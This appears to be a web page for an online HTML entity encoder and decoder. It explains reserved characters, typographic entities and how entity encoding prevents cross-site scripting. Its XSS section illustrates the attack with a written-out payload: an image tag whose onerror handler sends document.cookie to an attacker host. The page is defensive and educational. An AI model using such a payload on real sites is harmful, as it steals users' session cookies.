HTML Entity Converter

Convert special characters to and from HTML entities.

Design & Code Tools

HTML Entity Encoder & Decoder: Escape Reserved Characters & Typographical Symbols

You are building a blog comment section, editing an HTML newsletter, or rendering user input in a React or PHP template. A user types <script>alert(1)</script> or a math formula like 5 < 10 & 10 > 2.

In HTML, characters like angle brackets (< and >) and ampersands (&) are reserved syntax tokens. If you insert them into HTML without escaping, the browser interprets them as tag boundaries, breaking your layout or opening dangerous Cross-Site Scripting (XSS) security vulnerabilities.

Our free HTML Entity Converter converts special characters into safe named entities (&copy;), decimal references (&#169;), and hexadecimal codes (&#xA9;), as well as decoding escaped entity strings back into plain human-readable text instantly in your browser.

The 5 Mandatory Reserved HTML Characters

Every web developer must know these five characters because they are fundamental to DOM parsing security:

Raw CharacterNamed EntityNumeric DecimalWhy Escaping Is Mandatory
&&amp;&#38;Marks the beginning of any HTML entity reference.
<&lt;&#60;Marks the start of an HTML tag. Prevents tag injection/XSS.
>&gt;&#62;Marks the close of an HTML tag.
"&quot;&#34;Prevents premature closing of HTML attribute quotes.
'&apos;&#39;Prevents closing single-quoted attributes.

Typographical Entities That Elevate Editorial Design

Amateur websites use plain typewriter keyboard characters. Editorial and magazine websites use high-end typographical entities:

Dashes: Em Dash vs. En Dash

Never use double hyphens (--). Use &mdash; (—) for narrative sentence breaks, and &ndash; (–) for number and date ranges (e.g. 2024–2026).

Smart Curly Quotes

Replace dumb straight quotes with directional quotes: &ldquo; (“) and &rdquo; (”).

Non-Breaking Space (&nbsp;)

Prevents typographical "widows" (a single lonely word wrapping onto its own line at the end of a heading). Insert between the last two words.

Symbols & Legal Marks

Render trademark (&trade; ™), copyright (&copy; ©), and registered (&reg; ®) signs reliably.

Preventing XSS: Why HTML Entity Encoding Is Critical

If an attacker submits their username as:

<img src="invalid" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)" />

And your server outputs that raw string directly into the HTML page, the victim's browser executes the malicious script immediately.

By entity-encoding user data before rendering, the string is converted to safe entities (&lt;img src=&quot;invalid&quot; ... /&gt;). The browser displays the text harmlessly without executing any scripts.

Frequently Asked Questions

Should I use named entities or numeric entities?

Named entities (like &copy;) are easier for humans to read and edit. Numeric entities (like &#169;) have universal support across all XML parsers, older RSS feeds, and legacy email clients.

Does modern UTF-8 eliminate the need for HTML entities?

UTF-8 allows you to type accented letters (like é or ñ) directly into your HTML file. However, the five reserved syntax characters (< > & " ') MUST still be escaped into HTML entities to avoid parsing conflicts and security breaches.

Can I decode encrypted or escaped strings back to text?

Yes. Paste any text containing mixed entities, click "Decode", and the tool translates every entity code back into standard readable characters.